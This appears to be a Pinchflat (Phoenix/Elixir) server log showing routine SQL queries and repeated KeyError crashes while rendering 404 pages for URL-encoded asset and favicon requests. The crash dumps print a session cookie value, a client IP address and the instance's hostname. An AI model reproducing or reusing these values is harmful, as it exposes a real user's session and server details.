20:18:28.083 [info] Sent 200 in 29ms 20:18:40.861 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:48.433 [info] GET /assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd 20:18:48.435 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=543.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:48.435 [debug] QUERY OK source="settings" db=0.4ms idle=544.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:48.435 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:48.436 [error] #PID<0.11078.0> running PinchflatWeb.Endpoint (connection #PID<0.11077.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/app-84c55c57753816656f5134f541d32ba5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11078.0>, params: %{}, path_info: ["assets", "app-84c55c57753816656f5134f541d32ba5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqNgC41AfSjwAAKYj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/app-84c55c57753816656f5134f541d32ba5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1F (truncated) 20:18:50.042 [info] GET / 20:18:50.042 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:18:50.043 [info] GET /sources 20:18:50.044 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:18:50.056 [info] GET /media_profiles 20:18:50.056 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 20:18:50.058 [info] GET /favicon.ico%3Fcachebust%3D2024-03-20 20:18:50.061 [debug] QUERY OK source="settings" db=11.1ms queue=0.2ms idle=159.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.071 [debug] QUERY OK source="settings" db=5.9ms queue=6.3ms idle=168.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.072 [debug] QUERY OK source="settings" db=2.4ms queue=2.3ms idle=177.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.073 [info] GET /settings 20:18:50.075 [debug] QUERY OK source="settings" db=1.9ms queue=0.3ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.076 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 20:18:50.077 [debug] QUERY OK source="media_profiles" db=9.1ms queue=4.7ms idle=173.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:18:50.078 [debug] QUERY OK source="settings" db=6.2ms idle=95.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.078 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:50.082 [debug] QUERY OK source="settings" db=2.8ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.082 [debug] QUERY OK source="settings" db=3.6ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.086 [debug] QUERY OK source="sources" db=8.0ms queue=0.6ms idle=6.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:18:50.090 [debug] QUERY OK source="settings" db=3.5ms queue=0.5ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.097 [debug] QUERY OK source="media_items" db=9.7ms idle=5.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:50.097 [debug] QUERY OK source="media_profiles" db=10.3ms queue=4.4ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 20:18:50.102 [debug] QUERY OK source="settings" db=8.1ms queue=0.2ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.102 [debug] QUERY OK source="media_items" db=4.8ms queue=0.2ms idle=10.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:50.103 [debug] QUERY OK source="settings" db=1.9ms queue=0.7ms idle=10.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.103 [debug] QUERY OK source="settings" db=1.8ms queue=0.5ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.110 [debug] QUERY OK source="settings" db=5.6ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.114 [debug] QUERY OK source="settings" db=8.1ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.115 [debug] QUERY OK source="settings" db=11.5ms queue=0.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.123 [debug] QUERY OK source="settings" db=2.6ms queue=1.0ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.128 [debug] QUERY OK source="settings" db=8.5ms idle=16.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.130 [debug] QUERY OK source="settings" db=12.0ms queue=0.4ms idle=15.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.142 [debug] QUERY OK source="settings" db=11.9ms queue=0.5ms idle=14.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.144 [info] Sent 200 in 87ms 20:18:50.148 [debug] QUERY OK source="tasks" db=0.6ms queue=0.7ms idle=23.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:18:50.153 [debug] QUERY OK source="media_items" db=3.3ms idle=21.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:18:50.080 [error] #PID<0.11085.0> running PinchflatWeb.Endpoint (connection #PID<0.11084.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /favicon.ico%3Fcachebust%3D2024-03-20 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /favicon (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11084.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.ico%3Fcachebust%3D2024-03-20", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 61275}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11085.0>, params: %{}, path_info: ["favicon"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/favicon.ico%3Fcachebust%3D2024-03-20", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqTjhliOhveIAADak"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11084.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.ico%3Fcachebust%3D2024-03-20", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 61275}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /favicon (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11084.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.ico%3Fcachebust%3D2024-03-20", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 61275}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\" (truncated) 20:18:50.157 [debug] QUERY OK source="media_items" db=2.2ms queue=0.7ms idle=23.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:50.161 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=18.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:50.170 [debug] QUERY OK source="media_items" db=2.0ms idle=19.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" 